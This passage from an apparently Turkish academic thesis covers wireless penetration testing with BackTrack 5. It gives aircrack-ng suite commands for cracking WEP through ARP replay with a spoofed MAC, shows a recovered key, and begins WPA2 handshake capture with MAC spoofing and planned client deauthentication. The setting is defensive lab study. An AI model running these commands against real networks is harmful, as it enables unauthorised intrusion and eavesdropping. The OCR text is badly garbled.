[47]. Bu sekilde sistemdeki zayifliklari raporlanarak tedbir alinmasi saglanir.
Testlerinde kullanilmak iizere olusturulmus, Debian / Ubuntu tabanli bir Linux

dagitimidir. Uzmanlarinin siklikla kullandiklar1 bir denetim platformudur.

= back | track =

Sekil 4.1. BackTrack araytizii

Hackerlerin kullandiklar1 teknikler kullanilarak hedef sistem ve agdaki gilivenlik
zafiyetleri acgiga c¢ikarlara raporlama yapilip tedbir alinmasi saglanir. Sayisal
diinyadaki gercek saldirilarin aynis1 simiile edilerek, bir hackerin yapabilecegi tiim

saldir1 senaryolar1 uygulanabilir [47].
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BackTrak'te bulunan araglarin her biri pratik kullanim sekil ve saldir1 tekniklerinin
uygulanmasindaki basarilariyla 6n plana ¢ikmaktadir. Zaten {istiin 6zellikleri bulunan

bu Linux dagitiminin amaci da budur.

BackTrack, literatiirde hack machine diye gecen iginde bir pentesterin (sistem
mithendisinin) ihtiya¢ duyabilecegi neredeyse biitiin yazilimlarin oldugu bir
sistemdir. Bu yazilimlarin hepsini kullanmak miimkiin degildir, BackTrack'in release
ekibi bile tam anlamiyla tiim 6zelliklerini kullanamamaktadir. Ornek olarak bir
tarayici kit igindeki biitiin tarama araclarinin ne ise yaradigini ezbere bilmek (tam
anlamiyla, kendi yazmis gibi) miimkiin degildir. Bu uygulamalar temel olarak iki
kategoride incelenir.

1-Tarama amacli (scan)

2-Saldir1 amagli (attack)

Bu zamana kadar tiim BackTrack versiyonlari milyonlarca kullanici tarafindan
indirilmistir. Cok da eski olmayan tarihsel silirece baktigimizda, ilk BackTrack
dagittimmin 26 Mayis 2006 tarihinde, BackTrack 1.0 Beta adiyla yayinlandigim
gorlriiz. Daha sonra 6 Mart 2007 (BackTrack 2 Final), 19 Haziran 2008 (BackTrack
3 Final), 9 Ocak 2010 (BackTrack 4), 8 Mayis 2010 (BackTrack 4 R1), 22 Kasim
2010 (BackTrack 4 R2), 10 Mayis 2010 (BackTrack 5), 20 Agustos 2011
(BackTrack 5 R1) ve 1 Mart 2012 (BackTrack 5 R2 ) seklinde bir tarihsel siirecle su

anki son haline gelmistir ve gelistirilmesine devam edilmektedir [49].

4.2. BackTrack Test Metodolojisi

BackTrack5, bilinyesinde barindirdigi yiizlerce pentest aract ile gilivenlik
profesyonelleri i¢in ¢ok onemli bir platformdur. Bu araglari kullanmak i¢in de bir
metot belirlenmeli ve bu metoda gore diizenli bir calisma saglanmaktadir. Simdide

bu metotlar1 inceleyelim.


http://www.uludagsozluk.com/k/hack-machine/
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. Hedef Belirleme: ilk olarak bir hedefin olmas1 gerekir. Bilgisayar korsanlari

da ise ilk olarak hedef belirleyerek baslarlar.

. Bilgi Toplama: Hedef sistem hakkinda bilgi toplanmalidir. Giivenlik uzmani,
kamuya ac¢ik kaynaklardan hedef hakkinda genel bilgiler toplar. Bu
kaynaklar; internet kaynaklari, forumlar, sosyal paylasim siteleri seklinde
siralanabilir. BackTrak’te tiim bu kaynaklardan bilgi toplamak icin araglar

bulunmaktadir.

. Kesif: Hedef sistem hakkinda toplanan bilgilerden yararlanarak kesif yapilir.
Hedef sistemin ag yapisi, kullanilan giincel teknolojiler, aktif sistemler ve

kullanilan isletim sistemleri gibi bilgiler elde edilir.

. Hedef Hakkinda Elde Edilen Bilgilerin Kategorilesmesi: Bu asamaya kadar

elde edilen bilgiler kullanilarak sistemli bir gruplama islemi yapilir.

. Zayifliklarin Haritalanmasi: Bu asamada hedef sistemde bulunan aciklik ve

zayifliklar tespit edilerek bir sablon olusturulur.

Sosyal Miihendislik: Sosyal miihendislik, insanlarin gliven duygusunu
sOmiirerek istenilen bilgilere ulasma metodudur. Sistemlerde bulunan en
onemli zayiflik, insan psikolojisinin manipiile edilmesiyle olusur.
BackTrack$ isletim sisteminde sosyal miihendislik saldirilarinda kullanilan

bir¢ok ara¢ bulunmaktadir.

. Hedefin Exploit Edilmesi: Kesfettigimiz agiklar1 analiz ettikten sonra, bu

aciklart kullanarak sisteme yetkisiz erisim saglamaya ¢alisabiliriz. Bu agama
saldirinin en tehlikeli asamasidir. BackTrack 5°‘te gelismis exploit araglari

bulunmaktadir.

. Yetki Yiikseltme: Sisteme erisimi sagladik fakat normal kullanici (user)

haklarina sahibiz. Ama biz yonetici haklarmma sahip olup sistemde tam
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anlamiyla etkin olmak ve istedigimiz degisiklikleri yapmak istiyoruz.
Windows sistemlerde Administrator, Linux sistemlerde ise Root en yetkili

kullanicidir. BackTrack 5°te bunun i¢in ¢esitli metotlar bulunmaktadir.

Erisimi Devam Ettirme: Bu asamada yapilmasi gereken sey sisteme
istedigimiz zaman girip ¢ikabilecegimiz ve uzun siire kendimizi ele vermeden

kullanabilecegimiz bir yol bulmak.

izleri Temizleme: Sistemde giivenlige yardimci olmasi ve yanls
kullanimlarin  raporlanabilmesi icin kayit altina alma mekanizmasi
calismaktadir. Bir hacker sisteme kagak giris yaptig1 zaman sistemde yaptigi
eylemler loglanmaktadir. Hacker, yasal suclamalara maruz kalmamak ve
sisteme erisimini uzun siire devam ettirebilmek i¢in bu log dosyalarim

silmeye calisacaktir.

Dokiimantasyon ve Raporlama: Giivenlik testlerini yaptigimiz sistem /
kurumdaki idari ve teknik ekip, penetrasyon yontemi ve bulunan zayiflik ve
acikliklar1 incelemek isteyecektir. Ciinkii giivenlik bosluklarin1 goriip buna
uygun tedbirler alacaktir. Bunun icin de test siireci ve sistem zayifliklari,

giivenlik zafiyetleri ayrintili olarak belgelendirilmeli ve raporlanmalidir.
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Sekil 4.2. BackTrack test metodolojisi

4.3. Test Amach Kablosuz Ag Ortaminin Kurulumu

Wireless penetration testi uygulanabilir bir konudur ve oOncelikle bu tezdeki tiim
farkli deneyleri glivenilir ve kontrol edilebilir bir ortamda deneyebilmek ve sonra da

gercek hayatta uygulamak 6nemlidir.

Bu kisimda asagidakiler incelenecektir:
e Donanim ve yazilim gereksinimleri
e Bir erisim noktasi kurmak ve ayarlamak

e Kablosuz ag kartinin kurulumu
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Donanim gereksinimleri

Kablosuz aglar1 kurmak i¢in asagidaki donanima ihtiya¢ duyulmaktadir:

Dahili kablosuz kart1 olan iki laptop: Bunlardan biri laboratuvardaki
kurban olarak, digerini de penetration yapan laptop olarak
kullanilacaktir. Aslinda herhangi bir laptop bu is i¢in uygun olsa da,
en az 3 GB RAM’i olan bir laptop istenmektedir. Bunun nedeni, pek

cok hafiza gerektiren deney gerceklestiriyor olmamizdir.

Alfa kablosuz adaptor: Packet injection ve packet sniffing destekleyen
ve BackTrack’in destekledigi bir USB Wi-Fi karttir. Tezde Alfa
AWUSO036H kart1 kullanilmistir.

Erisim noktas:: WEP/WPA/WPA2 standartlarinda sifreleme
destekleyen herhangi bir erisim noktasi. Bu tez uygulamasinda D-

LINK DIR- 600 N Router kullanilmistir.

Yazilim gereksinimleri

Kablosuz laboratuvar1 kurabilmek i¢in asagidaki yazilima ihtiya¢ bulunmaktadir:

BackTrack 5 resmi sitesinden indirilebilir. http://www.backtrack-

linux.org.

Windows XP/Vista/7: laptoplardan birinde Windows’un bu
versiyonlardan biri kurulu olmalidir. Bu laptop kurban laptop olarak

kullanilmaktadir.


http://www.backtrack-linux.org/
http://www.backtrack-linux.org/
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Sekil 4.3. Donanim gereksinimleri gosterilmektedir

e Erisim noktasinin ayarlanmasi

Erisim noktasmin yayin yaptigi kablosuz ag SSID’si (Service Set Identifier) agik
kimlik dogrulama kullanarak ayarlanmigtir. Erisim noktasinin ayarlarinin
yapilabilmesi i¢im Ethernet kablosu kullanilarak diz iistii bilgisayar ile erisim noktas1
birbirlerine baglanir. Diz iistii bilgisayarin internet tarayicisina erisim noktasinin IP
adresi girilir. DIR -600 i¢in 192.168.0.1 olarak girilecektir.( IP adresini bulmak i¢in
erisim noktaniza ait kullanim kilavuzunu kullanilabilir). Erisim noktasina ait kilavuz

dokiiman yoksa route —n baglanildiginda bir konfiglirasyon portal goriilecektir.

Login olduktan sonra farkli ayarlari incelendiginde yeni bir SSID ayarlamak i¢in

gereken ayarlar bulunacaktir.
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INTERNET
WIRELESS SETTINGS Use this section to configure the wireless settings for your D-Link router. Please note that

changes made in this section may also need to be duplicated on your wireless client.

To protect your privacy you can configure wireless security features. This device supports three "
wireless security modes including: WEP, WPA and WPA2. We recommend that yo

change it to a famili
[ Save Settings ] [ Don't Save Settings ]

WIRELESS NETWORK SETTINGS

Enable Wireless : Always ]
Wireless Network Name : a5 osuz (Also called the 55ID)
Enable Auto Channel Selection :
Wireless Channel : [

Transmission Rate : |gest (automatic) [+ ] (Mbit/s)
Wireless Mode : [ 302,11 Mixed(nja/b) [+ Kablosuz aglarda
Band Width : |29 mp; = sifreleme tarleri

Enable Hidden Wireless : [7] (Also called the SSID Broadcast) 7' 7
y 2

WIRELESS SECURITY MODE

Security Mode : |Enable WPA/WPA2 Wireless Security (enhangl
| Disable Wireless Security (not recommenjilil
Enable WEP Wireless Securi i
WPA/WPA2 Enable WPA/MPAZ Wireless Security (enhanced)

WPA/WPAZ requires stations to use high grade encryption and authentication.

Cipher Type : | auto(mar/aes) [+]
PSK [ EAP : [pgy [=]
Network Key :

(8~B3 ASCII or 64 HEX)

Sekil 4.4. Kablosuz aglarda sifreleme tiirleri ve erisim noktasin1 ayarlamak

Benzer sekilde kimlik dogrulama ile ilgili olan ayarlar bulunmalidir ve ayar1 agik
kimlik dogrulama olarak degistirilmelidir. Inceledigimiz durumda, giivenlik modu

ayar1 “None” olarak ayarlanmistir (agik kimlik dogrulama olmasi igin).

Erisim noktasi ayarlar1 kaydedilmeli ve gerekiyorsa yeniden baslatilmalidir. Bundan
sonra erisim noktast SSID kablosuz ile agik ve calisiyor olacaktir. Bunun
dogrulamanin kolay bir yolu Windows’taki wireless configuration meniisiinii
kullanmak ve erisilebilir aglar1 gézlemlemektir. Kablosuz ag, listedeki aglardan biri
olarak goriilmelidir. Bdylece, erisim noktasi SSID kablosuz ile basariyla
kurulmustur. Erisim noktasinin sinirlart igerisinde yaym yapmakta oldugunu

Windows laptop tizerinden gorebilmektedir.
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Monitér modu i¢in arayiliz yaratmak
Alfa kart1 goriintiileme moduna alinmalidir.
1. BackTrack’a Alfa karti bagl olarak giris yapilir. Konsol i¢inde olduktan
sonra, iwconfig komutuyla kartinizin algilandigi ve siiriiciilerin dogru

yiiklendigi kontrol edilmelidir.

root@t:~# iwconfig
lo no wireless extensions.

ethO no wireless extensions.

wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated  Tx-Power=15
Retry 1long limit:7 RIS thr:off Fragment thr:off
Encryption key:off
Power Management:on

Sekil 4.5. iwconfig komutu ile kablosuz ag siiriiciisiiniin dogrulanmas1

2. Kart1 goriintiileme moduna sokmak igin, airmon —ng aracini1 kullaniriz. Once
airmon —ng komutunu uygun olan kartlar1 bulmasi i¢in kullanilmistir. WlanO

arayiizlinii listede goriintiileniyor olmalidir.

L:~# airmon-ng

Interface Chipset Driver

wlan0O Atheros AR9285 ath9k - [phy0]

Sekil 4.6. Wlan0 arayiizii

3. Airmon —ng start wlan0 komutu kullanarak, wlanO ait goriintiileme modu
arayiizii olusturulmalidir. Bu yeni goriintiileme modu arayilizii mon0 adinda
olacaktir. Bu ara yiiziin yaratildigini, airmon —ng komutu tekrar kullanilarak

dogrulanabilir.
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root@bt:~# airmon-ng start wlanO

Found 2 processes that could cause trouble-:
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

V772 dhclient3

1829 dhclient3

Process with PID 1772 (dhclient3) is running on-interface wlan0

Interface Chipset Driver

wlan0O Atheros AR9285 athSk - [phy0]
(monitor mode enabled on mon0O)

Sekil 4.7. Wlan0 goriintiileme modu ara yiizii olusturmak

Alfa Kartin1 Denemek:
Asagidaki adimlar takip edilmelidir
1. Bilgisayar yeniden baslatilmali ve alfa kart1 heniiz bagli olmamalidir.
2. Login olduktan sonra kernel mesajlari tail komutuyla takip edilmelidir.
3. Alfa karti yerlestirildiginde, asagidaki gibi bir ekranla karsilasilacaktir. Bu
kartiniza uygulanan varsayilan kurallarin gosterildigi ayarlardir.
@t:~# tail -f -n 0 /var/log/messages
Apr 25 22:00:23 bt kernel: [ 794.606201] usb 2-1.1: new high speed USB
device number 4 using ehci hcd
Apr 25 22:00:24 bt kernel: [ 795.101999] ieee8021ll1 phyl: hwaddr 00:c0O:
ca:23:12:ad, RTL8187vB (default) V1 + rtl8225z2, rfkikk.mask 2

Apr 25 22:00:24 bt kernel: [ 795.123409] rt18187: CustomerID is OXxFF
Apr 25 22:00:24 bt kernel: [ 795.124102] rtl8187: wireless switch is o

n
Apr 25 22:00:24 bt kernel: [ 795.124172] usbcore: registered new inter
face driver rtl8187

Sekil 4.8. Alfa kartinin yerlestirildiginin gosterilmesi

4.4. WLAN Kriptolama Akislari

WLAN kriptolama mekanizmalar1 kripto grafik saldirilara kars1 savunmasiz olmalari
ile linlii uzun bir ge¢mise sahiptir. Bu, 2000 yilinin baglarinda WEP ile baglad1 ve

tamamen kirildi. Yakin zamanlarda, saldirilar yavas yavas WPA’y1 hedef almaktadir.
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Her ne kadar, WPA’y1 tiim kosullarda kiracak genel anonim bir saldir1 olmasa da,
0zel durumlarda uygulanabilir bazi saldirilar vardir.
Bu boliimde, asagidakiler incelenecektir.

e WLAN’daki farkli kriptolama semalar1

e WEP kriptolamay1 kirmak.

e  WPA kriptolamay1 kirmak.

4.5. WLAN Kriptolama Semalar

WLAN’lar havadan veri gonderirler ve bu yiizden veriyi korumak icin bir ihtiyac¢
bulunmaktadir. Bu en iyi kriptolama ile gerc¢eklesir. WLAN komitesi(IEEE 802.11)

veri kriptolama i¢in asagidaki protokolleri ger¢eklestirmistir.

WEP (Kablolu Esdeger Gizlilik)
WPA (Kablosuz Korumali Erigim)
WPA2 (Kablosuz Korumali Erisim Versiyon 2)

Burada bu kriptolama protokollerini ve bunlara yapilan olas1 saldirilari incelenmistir.

4.6. WEP Kriptolamay:1 Kirmak

WEP protokolii 2000 yilinda hatali olarak bulunmus olmakla beraber, yine de
kullanilmakta ve erisim noktalar1 hala WEP kabiliyetleri olarak piyasaya
stiriilmektedir. WEP’te oldukca fazla kripto grafik zayifliklar bulunmaktadir ve
Walker, Arbaugh, Fluhrer, Martin, Shamir, Korek ve digerleri tarafindan
kesfedilmislerdir.

Burada, WEP kriptolamasimi BackTrack platformundaki hazir uygulanabilir araglar
kullanilarak nasil kirillacagi incelenecektir. (airmon-ng, aireplay-ng, aircrack-ng ve

diger komutlar1 kullanilarak)
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1. airodump -ng komutunu KABLOSUZ erisim noktamizin yerini bulmak i¢in
airodump -ng mon(0 komutunu kullanarak ¢aligmaktadir. Ekran goriintiisiinde
gorildiigi lizere, KABLOSUZ erisim noktasinin WEP ile calistigi

gortlebilir.

CH 7 ][ Elapsed: 20 s ][ 2012-05-10 19:08

PWR Beacons  #Data, #/s v CIPHER AUTH ESSID

0 WEP KABLOSUZ
vu:EU:4C:CL: /AL 2 U PoK  Turkmenell
00:23:F8:BD:B5:DA -77 0 6 TKIP  PSK ZyXEL
10:C6:1F:7E:DC:EE -90 0 54e WPA2 CCMP  PSK SONAT

BSSID STATION Rate  Lost Packets Probes

Sekil 4.9. Ag kart1 ile hedefi tespiti

2. Bu uygulama sirasinda, sadece KABLOSUZ SSID’sine sahip ag ile
ilgilenilmektedir. Bu yiizden sadece bu aga ait olan paketleri géormek igin,
airodump-ng  --bssid  FC:75:16:E7:50:0A  --channel 11  --write
WEPCrackingDemo mon0O yazilir. Buna ek olarak, airodump -ng yi bir

dosyasina kaydetmek i¢in --write ile kullanilmistir.

root@bt:~# airodump-ng --bssid FC:75:16:E7:50:0A --channel 11 --write WEPCrackingDemo monof]

Sekil 4.10. Hedefin MAC adresi sifrelenmis WEP igin dinlenmesi
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Istemci basarili olarak baglandiktan sonra, airodump-ng asagidaki gibi bir ekran

raporlar.

CH 11 ][ Elapsed: 24 s ][ 2012-05-160 19:11

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
FC:75:16:E7:50:0A -36 100 261 0 0 11 54e WEP WEP KABLOSUZ

BSSID STATION PWR Rate Lost Packets Probes

Sekil 4.11. Airodump’dan paket raporlanmasi

Airodump-ng ekranini gordilyseniz, #Data kolonu altinda listelenen veri paketleri
miktar olarak ¢ok azdir (sadece 68). WEP kirmada, olduk¢a fazla sayida veri
paketine ihtiya¢ duyulmaktadir. Bu veri paketleri de protokoldeki zayifliklar1 agiga
cikarmak i¢in ayni anahtarla kriptolamistir. Boylece ag1 daha fazla paket iiretmeye

zorlanmaktadir. Bunu yapmak i¢in, aireplay -n komutu kullanilacaktir.

3. Aireplay-ng ile kablosuz agdaki ARP paketleri yakalanacaktir ve ARP
tepkilerini simiile etmek i¢in aZa tekrar geri enjeksiyon edilecektir. Bir
sonraki ekranda goriildiigii lizere aireplay-ng yi yeni bir pencerede
calistirllacaktir. Bu paketleri birkag bin defa geri oynatarak, agda oldukca
fazla miktarda trafik yaratilacaktir. aireplay-ng WEP anahtarin1 bilmese dahi,
ARP paketlerinin paket biiyiikliiklerine bakilarak teshis edebilir. ARP sabit
header olan bir protokoldir ve ARP paketleri teshis edilmek {izere
kriptolamig trafikte dahi bulunabilir. aireplay -ng yi asagidaki seceneklerle

caligtiracaktir:

-3 secenegi ARP replay etmek i¢in,
-b agimizin BSSID si i¢in

-h spoof edecegimiz client in MAC adresini belirlemek igin.
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Hemen sonrasinda, aireplay-ng nin ARP paketlerini sniff ettigi ve daha sonra agda

geri oynattig1 goriilebilir.

root@bt:~# aireplay-ng -3 -b FC:75:16:E7:50:0A -h 70:TA+04:75:02:A2 mon0

he interface MAC (4C:0F:6E:EQ:A0:5E) doesn't-match~the specified MAC (-h)
ifconfig mon® hw ether 70:1A:04:75:02:A2

19:16:13 Waiting for beacon frame (BSSID: FC:75:16:E7:50:0A) on channel 11

Saving ARP requests in replay arp-0510-191613.cap

ou should also start airodump-ng to capture replies.
ead 103 packets (got O ARP requests and 12 ACKs), sent 0 packets...(0 pps)

Sekil 4.12. Aireplay-ng komutu ile ARP paketlerinin sniff edilmesi

4. Sifrenin kirillacagir asil adim olan, kirma(crackleme) kismi asagidadir.
Aircrack—ng yi  WEPCrackingDemo-Ol.cap 1ile yeni bir pencerede
calistiralim. Bu, aircrack-ng yazilimimi baslatacak ve WEP anahtar1 kirma
islemine dosyadaki veri paketlerini kullanarak baslatilacaktir. Dikkat edilmesi
gereken nokta, ayni anda, airodump-ng WEP paketlerini toplamak, aireplay-
ng replay saldirist gerceklestirmek ve aircrack-ng de WEP anahtarini

yakalanan paketleri kullanarak kirmaya caligmaktir.

root@bt:~# aircrack-ng WEPCrackingDemo-01.cap]

Sekil 4.13. WEP anahtariin yakalanan paketlerin kullanarak kirilmasi

Anahtar1 kirmak i¢in gereken veri paketleri deterministtik degildir; ancak genelde
yiiz bin ya da daha fazladir. Hizli bir agda (ya da aireplay-ng komutuyla) bu en fazla
5-10 dakika alacaktir. Eger dosyadaki veri paketleri yeterli degilse, o zaman aircrack-

ng asagidaki sekilde oldugu gibi basarisiz olarak sona erecektir ve yakalanmak tizere
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daha fazla paket i¢in bekleyecek ve daha sonra crackleme islemine yeniden

baslayacaktir.

Yeterince veri paketi yakalanip islendikten sonra, Aircrack-ng anahtar1 kiriyor
olmalidir. Bu oldugunda, terminal ekraninda bu bilgi gosterilir ve asagidaki sekildeki

gibi ekranda ¢ikis yaptig1 goriintiilenir.

0/ 5 [00:00:50] Tested 152875 keys (got 46994 IVs)
0/ 1 0D(56576) 48(56064) 97(55552) D1(55552) 76(55040)
depth  [00:00:53] Tested 829 keys (got 47595 IVs)

40/ 49  F8(52224) 3F(51968) 66(51968) 80(51968) A2( )
depth  byte(vote)3B(50176) 60(50176) 82(50176) AA( )
3/ 4 EB(55552) 0D(54784) 42(54784) 43(54016) 87(54016)
6/ 1 15(53504) 97(53248) EC(53248) 26(52992) 37(52992)
0/ 7 35(62976) 37(55296) A5(55296) 58(55040) F5(54528)
0/ 1 A9(72960) B2(56576) 84(56320) 30(55552) BA(55552)

35/ 4 . 34(51968)68(51712) 96(51712) B5(51712) DC(51712)

KEYﬁ{OUND! [ 4D:75:73:74:61:66:61:31:39:38:35:40:6B ] (ASCII:|Mustafal985@k
o

Decrypted correctly: 100%

51968
50176

5
6
B
0
B
0
1
2
3
i

A
8
3
F
B
)

Sekil 4.14. WEP’in elde ettigimiz sifreyi gdstermektedir

WEP sifreleme algoritmasi ile sifrelenen kablosuz agin laboratuvar ortaminda
basartyla kirildigi goriilmiistiir. Bunu yapmak icin, ilk 6nce gecerli bir ag client
(istemci) nin erisim noktasina baglanmasi beklenmistir. Bundan sonra, aireplay -ng
aracint ARP paketlerini agda yeniden oynatmasi i¢in kullanilmistir. Bu islem, agin
ARP geri oynatma paketlerini tekrar kullanmasini ve bdylece havadan gonderilen
veri paketi sayisinin artmasini saglamistir. Bundan sonra ile WEP anahtarini kirmak
icin bu veri paketlerindeki kripto grafik zayifliklar1 inceleyerek kirmasi igin aircrack-

ng yi kullanilmistir.
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4.7. WPA/WPA2 Kriptolamay1 Kirmak

WPA (ya da bazen adlandirildig1 iizere WPA versiyon 1) dncelikle TKIP kriptolama
algoritmasin1  kullanmaktadir. TKIP WEP i, yeni bir donanim kullanmadan
iyilestirme amaciyla ¢ikartilmistir. Bunun tersine, WPA2, TKIP den daha giiglii ve
daha dayanikli olan AES-CCMP algoritmasini kriptolama amaciyla kullanmaktadir.
WPA/WPA2 PSK sozliik saldirisina aciktirlar.

Bu saldir1 igin gerekli olan inputlar, istemci ile erisim noktasi arasindaki 4-yonlii
WPA handshake ve en sik kullanilan anahtar parolalarinin oldugu bir kelime
listesidir. Daha sonra, aircrack -ng kullanarak WPA/WPA2 PSK anahtar parolasin

kirmay1 deneyebiliriz. Dortlii anlasma handshake’in bir gosterimi, asagidaki sekilde

verilmektedir.
Supplicant g I :
. Authenticat
> Probe Request-Response \ uthenficator
Crmmm e e e >
Authentication RR, Association RR
| Pre-Shared Key 256 bit l | Pre-Shared Key 256 bit
Message L.ooommmmmmmmTT
PR L ANounce
Snounce
PTK
e Message2 L ;
Snounce + MIC
Message §—--—6 ——————————————
Key Installed “"Key \nstallatio
______________________ MeSSage 4 o receneeeed
Key Install Acknowledgement

Sekil 4.15. Dortlii anlagsma protokolii

WPA/WPA2 PSK’nin ¢alisma sekli, oturum basina, Onceden Paylasimli Anahtar ve
Bes Farkli parametre daha kullanarak Pairwise Transiet Key (PTK) olusturur.
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Bu 5 parametre: Agin SSID'si, Dogrulayici Nounce’u, saglayict Nounce'u,
Dogrulayict MAC adresi (erisim noktas1t MAC adresi), ve saglayict MAC adresi (Wi-
Fi istemci MAC 1) olarak belirtilebilir.

Bu anahtar daha sonra, erisim noktasi ve istemci arasindaki tiim veriyi kriptolamak
amactyla kullanilir. Tiim bu iletisimi havadaki paketleri alarak dinlemis olan
saldirganin sahip olmadig1 tek sey onceden paylasilmis olan anahtardir. O zaman
onceden paylasilmis olan anahtar nasil yaratilmaktadir? Bu, kullanici tarafindan
SSID ile birlikte saglanan WPA-PSK parolasi kullanilarak olusturulmaktadir. Bu
ikisinin bir kombinasyonu sifre bazli anahtar olusturma fonksiyonu (PBKDF2) ye
gonderilir ve bu fonksiyon da 256 bitlik bir paylasimli anahtar olusturur.

4 Way Handshake

SNonce

ANonce

I Pre-Shared Key 256 bit | —— AP MAC
Client MAC

1

PBKDF2 (SSID)

1

Verify by Checking the MIC

Sekil 4.16. WPA/WPA2 PSK’ nin ¢alisma seklini gostermektedir
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4.7.1. Sozliik (dictionary) saldirisi

Sozliik saldirist (dictionary attack), sifre temelli glivenlik sistemlerini, yaygin
kullanilan ifade ve kelimeleri deneyerek kirma ydntemi olarak tanimlanir. Ornegin,
sehir ve insan isimleri, meshur deyisler, dogum tarihleri, 6nemli giinler gibi kolay
hatirlanir her sey sozliik saldirilarinda kullanilan elverisli malzemelerdir. Bu nedenle,

sozliik saldirilarinda dil ve kiiltiir farkliligi 6nemli rol oynar.

Genel olarak, sozliik saldirilarina kelime ve tarihleri tek tek kullanmakla baslanilir.
Ancak, zaman gectikge kelimelerin ve tarihlerin kombinasyonu alinmaya baglanir.

Sozliik saldirisi, zahmetli olmakla beraber ¢ogu zaman ise yarayan bir yontemdir.

Saldir1 adimlar

Bir kablosuz aga bir kag¢ saldir1 modeli olabilir ancak en ¢ok yapilmak istenilen sey
bu aga izinsiz baglanti kazanabilmek ve paketleri dinleyebilmektir.
Kablosuz aga izinsiz giris su sekilde ilerler;

1. Kablosuz Aglar tespit etme

2. Paket Toplama

3. Sifreyi Kirma

WPA ve WPA?2 sifresi, WEP gibi sinirhi bir kombinasyona sahip degil. Akliniza
gelen her karakteri WPA2 sifresinde kullanabilirsiniz. Sifrenin uzunlugu da standart
degildir. Ayrica sifreleme yonteminde WEP’teki gibi yakalayacagimiz IV'ler de
bulunmamaktadir. Bu ylizden WPA?2 sifresini kirmak c¢ok da kolay degil. Ama eger
kullanilan WPA?2 sifresi “abcd1234” gibi basit bir diziyse, kirma islemi sadece 10-15
dakika kadar siirede tamamlanabilir. sifrede gii¢lii bir kombinasyon kullanilmigsa

kirma islemi gergekten cok giiclii olabilir.
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Komut 1 : ifconfig , macchanger

MAC Adresini macchanger komutu ile degistirmek icin ifconfig down komutuyla,

kullandigimiz wlan arayiizii iizerinde sistem, mesaj transferi durdurulmaktadir.

# ifconfig mon® down
# macchanger -m 00:11:22:33:44:55 mon0

Current MAC: 4c:0f:6e:e0:a0:5e (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)

Sekil 4.17. MAC adresinin degistirilmesi

Komut 2 : airodump - ng mon0

Dinleme Modu Bu komut ile WPA2 sifrelenmis (Encrypt) verileri Wlan0O olan ag

kart ile dinlemeye alinmaktadir.

# ifconfig mon0® up

# airodump-ng mon® <:::|

Sekil 4.18. Ag kartinin dinlemeye alinmast

Kablosuz aglarla ilgili yapilacak her islem “dinleme” ile baslar. Yani havada dolasan

kablosuz sinyalleri yakalamak.

Kurbanin bilgileri

ESSID: Kurbanin ag ismi

BSSID: Kurbanin MAC Adresi
STATION: Modemin MAC adresi
CHANNEL: Kurbanin yayin yaptig1 kanal
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Elapsed: 1 min ][ 2011-12-10 05:46

PWR Beacons  #Data, #/s CIPHER AUTH ESSID

WPA TKIP irem
. WPA_ TKIP AIRTIE
. WPA2, CCMP linksy
WPA TKIP altin_
WPA  TKIP metu p
WEP WEP cemil-
WPA2 CCMP nihat
WPA2 CCMP 506459
WPA2 CCMP DLink
. WPA TKIP CoSm0
WPA2 CCMP AIRTIE
WPA TKIP CAGLA
. WPA  TKIP ergind
WEP WEP 3Com
WPA2 CCMP RoboHo

:1A:2B:88:75:91
11A:2A:EC:A5:7A
:22:6B:E1:6D:24
:16:A8:13:3B%73
:1C:A8:64:BE: 18
:1C:A8:92:F8:9F
22861 010:4F5 1B
:1A:2A:60:74:D9
12645A:4D:44:00
114:C1:13:59:40
:1C:3D:00:0A:C4
:E0:4C:D4:B6:B7
231 E8BD  {A31
:14:7C:B9:F7:20
:1A:2B:8E:48:93

O O O O OO DO OOOOOOOO B O

2
0
0
0
1
0
0
0
6
0
0
0
0
3
0
0

Sekil 4.19. Ag kart1 ile ortamin dinlenmesi ve hedef tespiti

ESSID

Herhangi bir kablosuz ag1 buldugunuzda size agin SSID’ sini verir yani 6zetle erisim
noktasiin ismini. EZer bir erisim noktasinda SSID Broadcast acgik ise genelde
saniyede 10 defa olmak iizere yaym yaptig1 kanalda kendisinin orada oldugunu

belirten bir sekilde sinyal gonderir.

BSSID

Kablosuz interneti dagitan modemin ya da access point’in MAC adresi.

Kanallar (CH)

Farkli frekanslarda 1-14 arasi yaymn kanali vardir, AP(erisim noktasi) ve

STA(Istasyon, yani Kablosuz Ag Istemcisi) bir kanaldan iletisim kurar. Ornek olarak

AP 12. kanalda yayin yapiyorsa STA’ da o kanaldan baglanir. Ayn1 sekilde AP ve
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STA’ in yaptigi broadcast (genel) isteklerde her kanal i¢in ayr1 yapilmalidir.
Amerika’ da 11 kanal kullanilmaktadir. Kanada, Avrupa ve Ulkemizde 13 kanal
kullanilir. Kanal GHz spektrum’ u 2.412° den baslayip her kanalda 0.005 GHz
yiikselerek ilerler. Yani Kanal 13 frekans1 2.472 GHz’ dir.

Komut 3: airodump-ng -c 6 -w wpa2 --bssid 00:1C:A8:DA:13:D8 --ivs mon0

Bu komut yayin yapan (6) numarali kanal (BSSID) hedefin MAC adresi sifrelenmis
WPA2 dinler. Bu komutta yapilmak istenen islem sudur: 6. kanaldaki yayinlari
wlan0 arayiiziindeki kablosuz ag cihazi ile yakalayip yakalanan verileri wpa2.01.ivs

isimli bir dosyanin i¢ine kaydetmek.

-w: Handshake yakalamak i¢in biz paket dinlerken modeme baskasinin baglanti
kurmas1 gerekir. Boylece o sirada yollanan handshake paketi yakalanabilir. Eger
dinledigimiz agda kimse yoksa sadece birisinin baglanmasi beklenecektir. Biz ag1
dinlemeye basladigimizda zaten birileri varsa bu kisilerin baglantisin1 kopartip tekrar

baglanmalarini saglayacagiz.

root@bt:~# airodump-ng -c 6 -w wpa2 --bssid 00:1C:A8:DA:13:D8 --ivs mon0

Sekil 4.20. Hedefin MAC adresi ile sifrelenmis WPA2 dinlenmesi

Boylece tekrar sifreli paket gondermeleri gerekecek. Airodump IV dosyalarim
calistig1 klasore kaydedecektir. Network yogunluguna gore gerekebilir, bunun ig¢in
“Aireplay” kullanabilirsiniz. Toplama hiziniz degisebilir. Bu hiz1 yiikseltmek igin

agda ekstra trafik yapmaniz gerekmektedir.
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CH 6 ][ Elapsed: 2 s ][ 2011-12-10

